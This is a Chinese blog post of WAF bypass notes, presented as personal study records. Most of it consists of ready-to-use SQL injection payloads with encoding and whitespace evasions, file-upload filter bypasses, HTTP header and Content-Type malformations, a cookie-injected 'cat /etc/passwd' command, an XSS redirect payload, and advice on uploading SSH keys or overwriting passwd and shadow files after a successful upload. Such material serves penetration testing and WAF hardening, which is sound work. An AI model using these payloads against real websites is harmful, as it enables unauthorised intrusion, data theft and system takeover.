waf绕过小结

作者: book4yi | 来源:发表于2021-11-11 15:51 被阅读0次

本文仅作学习记录,如有侵权,请联系删除!!!

前言:


冒个泡,证明自己还在,输出自己关于waf绕过的积累

SQL注入:


  • 空格绕过:

每种类型的数据库都允许使用空白字符。每个不同的RDBMS允许各种不同的空白字符,而不是通常的0x20。通过使用其他允许的空格字符切换标准空格,我们可以使某些防火墙无法识别注入,从而使我们能够有效地绕过它们

1、/**/、/*!*/、%09、%0a、%0b、%0c、%0d替代

id=-1'+/*!u%6eion*/+select+1,2,3%23

2、用注释符+换行符替代空格,比如:--%0a

3、用注释符+垃圾数据+换行符,比如:--zxczcasd/*asdasd*/%0a

id=1%27--%0aor--%0aupdatexml(1,concat(0x7e,(select--%0atable_name--%0afrom--%0ainformation_schema.tables--%0awhere--%0atable_schema=database()--%0alimit--%0a0,1),0x7e),1)%23

4、用托号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注:

id=1'and(if(ascii(substr(database(),1,1))>97,sleep(5),1))%23
id=1'and(if(ascii(substr(database()from(1)for(1)))>97,sleep(5),1))%23
id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

# from a for b:
从第a个字符开始读取,共读取b个字符
  • 引号绕过:

针对数字型注入,使用十六进制绕过或者宽字节绕过:

select column_name  from information_schema.tables where table_name=0x7573657273
id=1'+and+extractvalue(0x31,0x636F6E63617428307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D6461746162617365282920616E64207461626C655F6E616D653D27757365727327206C696D697420302C31292C3078376529)%23

id=-1%df%27 union select 1,user(),3--+
id=-1ý' union select 1,user(),3--+
id=-1%5c%5c%27 union select 1,user(),3--+  # 后面的 %5c 会被前面的 %5c 注释掉

一般产生宽字节注入的PHP函数:

1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。
预定义字符:( ' , " , \ )用思路一(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string()

  • 逗号绕过:

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     
#等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=114
#等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
  • 比较符绕过:

使用greatest()、least():(前者返回最大值,后者返回最小值)

# greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64

sqlmap中使用between的脚本进行绕过

# 包含边界值
select * from users where id between 1 and 10
  • and or xor not绕过:

and=&&  or=||   xor=|   not=!

id=1'+%26%26+'1'='1
  • 使用 And 0 的另一种方法:

任何等于 0 的数学/算术或逻辑问题:

And 1*0
And 1-1
And 0/1
mod(10,2)=0
power(4,3)=64
  • 使用 NULL 的另一种方法:

UNION SELECT 0,0,0,0
UNION SELECT false,false,false,false
UNION SELECT char(null),char(null),char(null),char(null)
UNION SELECT char(false),char(false,char(false),char(false)
UNION SELECT char(0),char(0),char(0),char(0)
UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)
UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
UNION SELECT 34=35,34=35,34=35,34=35   
  • 注释符绕过:

主要是想办法闭合后面的引号,使sql语句能够正常执行

id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
  • =号绕过:

<、>、<>绕过

id=!(id <> 1);    # 相当于id=1

like绕过:

% : 匹配0个或任意多个字符
_ : 匹配任意一个字符
escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'

rlike和REGEXP

rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。

like是完全匹配。rlike和regexp是不完全匹配,只要不同时匹配^和 $, 其他的包含即可

between、strcmp绕过:

strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

select * from users where id between 1 and 1
id=1' and substr(database(),1,1) between 'a' and 'z'%23

select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
select strcmp(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)),117);

in 绕过:

id=1'+and+ascii(substr(database(),1,1))+in+('115')%23
  • 绕过union,select,where:

双写绕过
大小写绕过
内联注释绕过:

id=0'+/*!union*//*!select*/+1,updatexml(1,concat(0x7e,(select+database())),1),3%23
  • 等价函数绕过:

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
其他绕过技巧及思路:

  • MySQL数据库支持两种集合操作:UNION DISTINCT和UNION ALL,union其实是相当于 union distinct
id=-1’union+distinct+select+sleep(2)#
  • 原理是waf把空字节认为是结束导致了后面的语句可以绕过
id=-1' union select 1,2,3#  # 被拦截
id=-1%00' union select 1,2,3#    # 不拦截,同时可以对其进行url编码

Tips:针对有爆出sql语句且过滤了空格的注入,可以先fuzz一波,看是否能找到一个会被替换为空的字符

更多方法及技巧请参考:
SQL注入 | 9种绕过Web应用程序防火墙的方式

补充:

asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而没特殊要求的waf当然是不会的,比如:sel%ect

文件上传绕过:


  • boundary=后面加tab键
  • 删除Content-type后面的类型信息
  • 双写绕过
  • 正常图片文件的内容开头
  • 利用windows特性:
  • 文件名大小写绕过
  • 空格绕过,在文件名末尾添加
  • 点号绕过,在文件名末尾添加
  • 特殊符号绕过: test.php::$DATA、test.php:.jpg
  • 路径拼接绕过: test.php. .(注意最后一个点前有空格,适用于windows,且上传的文件名没有被修改)
  • 00截断绕过:php5.3之前会把0x00当做结束符,绕过白名单。首先创建文件test.jpg,里面编辑php代码,用burp截断上传,在第一行上传路径后添加test.php%00即可。
    注意:get型提交的内容会被自动进行url解码,使用00截断要关闭GPC以及在收到的参数不使用addslashes函数。post型用burp截断后,一般在path后面会显示上传路径,同理添加/test.php (注意php后要加一个空格),然后点击Hex,找到修改处那一行的hex值,把其中的20改成00即可
  • 黑名单上传绕过:
  • 超长文件名绕过

在判断存在waf之后,需要考虑waf对什么内容进行了检测,常见的有:

  • 文件内容
  • Content-Type
  • 后缀匹配

jsp内容绕过的时候,一般都会对jsp中的%进行检测,可以尝试修改一下上传内容如下:

filename:jsp
Content-Type:application/octet-stream
内容:out.println ("helloworld")
  • content-Encoding/Accept-Encoding绕过:

利用原理:

在http协议中,可以对内容(也就是body部分)进行编码, 可以采用gzip这样的编码。从而达到压缩的目的。也可以使用其他的编码把内容搅乱或加密,以此来防止未授权的第三方看到文档的内容。

利用方法:

添加 Accept-Encoding: deflate/Accept-Encoding: gzip
添加 Content-Encoding: deflate/Accept-Encoding: gzip

  • Accept-Encoding:浏览器发给服务器,声明浏览器(客户端)支持的编码类型。设置在请求头当中,会告诉服务器,我可以接受哪种编码压缩。
  • Content-Encoding:决定文件接收方将以什么形式、什么编码读取这个文件,指定服务器响应的 HTTP 内容类型。设置在响应头中,会告诉客户端,我用的是哪种编码压缩。但是也可以放在Header头上

当服务端接收到请求,并且从header里拿到编码标识时,就可以选择其中一种方式来进行编码压缩,然后返给客户端。

  • 换行+chunk 绕过:

通用绕过手段:


  • 直接通过真实ip访问:

这是一种对待云waf最有效的办法,只要找到做cdn的之前的真实ip,那么直接通过ip访问,则会使云waf完全失效,web应用服务器失去云保护。

有时候通过ip去访问一些网站会提示web页面找不到,可能是有些网站在路由上直接使用的域名为硬路由,这时候需要修改host 解析文件,把相关域名和真实ip 给对应上填上,再用域名去访问。

# linux host文件路径
/etc/hosts

# windows host文件路径
C:\WINDOWS\system32\drivers\etc\hosts
  • 切换协议:

通过切换http到https,或者https切换到http,如果web站点没有进行强制https访问,那么http也能访问到其站点,如果waf错误配置,也能起到一点效果(方法比较特殊),还可以通过增加www,或者删除www前坠有时也管用。

  • 通过IPv6 访问:

有许多入侵检测系统也只监控 IPv4 流量,没有对IPv6 进行监控。
访问格式:http://[ipv6地址]:80/index.html
ipv6为:2001:470:c:1818::2
访问地址:http://[2001:470:c:1818::2]:80/index.html

  • 对http包头进行修改:

比如添加以下标头:

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
x-client-ip

在一些做了访客流量负载的web架构很常见,他并不是把web服务器映射出去,而是把外面的访问流量通过一台流量转发机器转发到内网web应用服务器,这种形式的话,在转发进来的数据包中就会出现X-forwarded-for 等字段,标示着是哪个ip访问的web服务。

如果包存在:Content-Type: text/html,那么可以尝试做以下修改:

Content-Type:           #直接删除类型值
Content-Type: text/htmlzzzzzzzzz   #错误的类型值
Content-Type: application/octet-stream #其他类型值

有时候将 MIME 类型设置为 multipart/form 数据然后对请求进行错误处理也有奇效。

Content-Type: multipart/form-data ; boundary=0000
Content-Type: mUltiPart/ForM-dATa; boundary=0000
Content-Type: multipart/form-datax; boundary=0000
Content-Type: multipart/form-data, boundary=0000
Content-Type: multipart/form-data boundary=0000
Content-Type: multipart/whatever; boundary=0000
Content-Type: multipart/; boundary=0000

尝试修改HTTP请求方法把get 改成post ,post改成get,或者改成put,有时候错误方法也能成功访问,请求可以通过GETS而不是GET发送,并且在许多情况下仍会按预期运行。

特别是在 PHP 中,根据配置,cookie 值可以被视为参数

/cmd/a.php

cookie: cmd1=;cat /etc/passwd

还有的是就是把http协议 1.1 改成1.0 ,因为大部分服务器也支持1.0版本。

  • 通过硬编码值造成绕过:

PHP 中的+符号可用于实现此目的,而 ASP 中的%符号将实现类似的结果。

在 ASP 中,可以将无效的 URL 编码添加到参数名称中(请注意,编码必须无效才能正常工作)

/cmd/a.php?%value=payload
/cmd/a.php?%}9value=payload

在 PHP 中,加号可以达到同样的效果:

/cmd/a.php?+value=payload
  • 分块传输绕过:

注意:只有HTTP/1.1支持分块传输

  • 协议未覆盖绕过:

针对POST请求,POST请求常用有2种参数提交方式:

Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: text/xml
Content-Type: application/json
Content-Type: text/plain

其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分

市场上大部分的WAF会解析这行 Content-Type 去识别是否是POST注入,因为要防止方法污染。所以我们就可以根据这个特性来设置不同的Content-Type利用尝试绕过WAF

绕过原理:

若Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过

利用谷歌插件Request Maker进行测试:
原始请求:

修改Content-Type后,进行抓包:

如果发现可以成功绕过waf,直接将数据包丢进sqlmap跑即可:

争对Get请求同理,将Content-Type改成:application/x-www-form-urlencoded或者multipart/form-data

  • HPP参数污染/垃圾字符绕过:

在php中,如果遇到多个参数,那么是从右到左来取参数值:

当查询字符串多次出现同一个key时,假设提交的参数即为:id=1&id=2&id=3,根据容器不同会得到不同的结果:

Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
php + apache:id=3

  • 垃圾数据绕过:

在数据包钟填入一些不影响结果的数据,比如遇到php站,可以配合HPP参数污染来填入辣鸡数据

  • 通过变换路径来bypass:

一些waf 或者web应用通过web路由进行封禁,体现为访问某个特定的url路径为403 等状态。

  • url编码绕过:
id=0' union select 1,updatexml(1,concat(0x7e,(select+database())),1),3#
# 将其进行url编码,等价于
id=%30%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%2b%64%61%74%61%62%61%73%65%28%29%29%29%2c%31%29%2c%33%23
  • 双重url编码:

对字符应用URL编码两次的过程。所需要的只是重新编码百分号。如果数据在通过防火墙之后和到达数据库之前被解码两次,则此编码成功

  • ascll编码绕过:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) limit 0,1),0x7e))#
  • unicode编码绕过:

iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf不一定,比如:s%u0065lect->select

UTF-8 编码表:https://www.utf8-chartable.de/

Unicode编码种类繁多,基于黑名单的过滤器存在无法处理的情况,从而实现绕过

# 常用的几个符号的一些Unicode编码:
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、�(%c0%27、%c0%a7%27、%e0%80%a7%27)
空格:%u0020、%uff00、� 、�、�(%c0%20、%c0%a0、%e0%80%a0)
左括号:%u0028、%uff08、�(、�、�(%c0%28、%c0%a8、%e0%80%a8)
右括号:%u0029、%uff09、�)、�、�(%c0%29、%c0%a9、%e0%80%a9)

id=1%u0027%u002b%u0061%u006e%u0064%u002b%u0031%u003d%u0031%u0023    #UTF-8
SELECT 'Ä'='A';
id=10%D6‘%20AND%2201=2%23

畸形协议&请求:

asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。

php+Apache:

waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没有那么严格,当我们将协议随便定义时也是可以的:

  • 补充:
  1. 观察接口信息,发现接口名字为UploadImg,猜测该接口用于图片上传,按照开发的习惯,保不准会存在temp、test,这类的接口

  2. 有些时候文件上传成功后端没有返回路径,只回显了一个id号,这时候如果目标存在注入的话,我们可尝试用sqlmap的--search参数或者SQLshell对返回的ID号进行搜索,这样说不定就能找到shell地址了

  3. 在某些时候,当前上传文件夹无执行权限,可以考虑通过../跨目录上传文件。另外,如果上传目录可控,可上传文件到任意目录的话,在linux场景我们可上传一个ssh秘钥用于远程登录,极端一点的话,可考虑上传passwd、shadow文件覆盖系统用户,但前提是权限要足够大。

如果不能跨目录,站点又没有注入的话,那么我们可以尝试寻找网站日志文件,例如泛微E-COLOGY日志的日志,像这种日志文件是有规律可循的,可以用burp进行日志爆破,或许在日志文件中能找到shell路径也说不定,如果在日志中没有发现shell地址,那么可进一步观察日志里的文件路径,诸如upload,filepath这类路径,举一反三,可对这些路径fuzz shell地址。

  • 一个白名单绕过案例:

看到这种情况估计不少师傅都会认为后端做了白名单限制上传了吧

错误回显提示了只能上传ppt/pptx/doc/docx/xls/xlsx/rar/jpg/png类型,但在后续的测试中,发现了types类型可控,且在存在多个后缀的情况下,后端只保留最后一个后缀,并重命名文件,所以只要上传后缀包含了白名单限制内的类型即可绕过,如(test.png.jsp),只会保留.jsp后缀,如下:

  • 上传绕过案例二:

一个把图片转base64的文件上传类型:

通过抓包发现图片是以base64进行上传的,观察了下数据包,发现可通过更改upload_0字段内容上传任意文件

  • 上传绕过案例三:

测试发现fileName和fileType参数可控,且当存在两个不同的后缀时,最上层的filename参数优先级为最高,可导致任意文件上传

  • 上传绕过案例四:
  1. 尝试双写绕过:

发现只判断第一行的文件后缀,对第二行不做检测

  1. 尝试去掉filename的双引号及大小写绕过:
  1. 尝试HPP绕过:
  1. 换行绕过:

目前已知:

换行双写闭合不检测
同一行filename可双写
换行双写filename无闭合会检测
不闭合单filename可写入

成功绕过:

当filename无闭合的时候,它会判断下面一行是否为不允许上传的类型,如果不是,第一行filename内容就会上传过去

补充:

当waf对一些弹窗方法进行过滤时,获取对单双引号进行过滤时,可以使用location.href配合String.fromCharCode使其变为URL重定向漏洞:

<img/src=1 onmousemove=location.href=String.fromCharCode(104,116,116,112,115,58,47,47,119,119,119,46,98,97,105,100,117,46,99,111,109)

参考如下:


SQL注入绕过技巧
sql注入绕过方法总结
SQL注入的优化和绕过
某系统Oracle+盲注Bypass
文件上传之某开waf-bypass(2)
红队攻击-绕过waf以及IDS等流量设备
我的wafBypass之道 - 云+社区 - 腾讯云
技术讨论 | 在HTTP协议层面绕过WAF
实战绕过双重waf结合sqlmap tamper获取数据
通过 SQL 函数绕过 SQL 注入 WAF 的案例研究
web渗透测试中WAF绕过讲解(二)基于HTTP协议绕过
任意文件上传之绕过云waf+本地防火墙双重防护

相关文章

  • waf绕过小结

    本文仅作学习记录,如有侵权,请联系删除!!! 前言: 冒个泡,证明自己还在,输出自己关于waf绕过的积累 SQL注...

  • 🎪waf绕过

    ? waf注入绕过检测方法 云waf直接找真实ip就可绕过 方法总结:绕过waf的方法: 1、白名单绕过2、大小写...

  • 绕过waf

    绕过云锁进行SQL注入 EXP: 1.php?id=-1 union(select 1,2,3,@@datadir...

  • WAF绕过

    一、WAF简介 WAF(WebApplicationFirewall)也称:网站应用级入侵防御系统,是通过执行一系...

  • 利用ASP.NET中的x-up-devcap-post-char

    以前我发表过几篇利用编码技术绕过WAF的文章。在文章中我不仅介绍了绕过WAF的方法,还明确指出WAF产品可以通过拦...

  • SQL注入专题(三)

    一、WAF及绕过WAF原理介绍 WAF的定义: waf,即web应用防火墙,是通过执行一系列针对http/http...

  • web渗透测试中WAF绕过讲解(三)规则层面的绕过注入

    0x01 前言 对于渗透测试人员来说掌握绕过各类WAF是一项重要的基本技能而WAF又分云WAF、硬件WAF...

  • XSS绕过WAF

    http://www.freebuf.com/articles/web/54686.html

  • 绕过waf方法

    一、各种编码绕过 id=1 union select pass from admin limit 1 id=1%2...

  • 绕过waf方法

    参考:绕过WAF、安全狗知识整理 - 珍惜少年时 - 博客园 SQL注入 | 9种绕过Web应用程序防火墙的方式 ...

网友评论

    本文标题:waf绕过小结

    本文链接:https://www.haomeiwen.com/subject/xchrjltx.html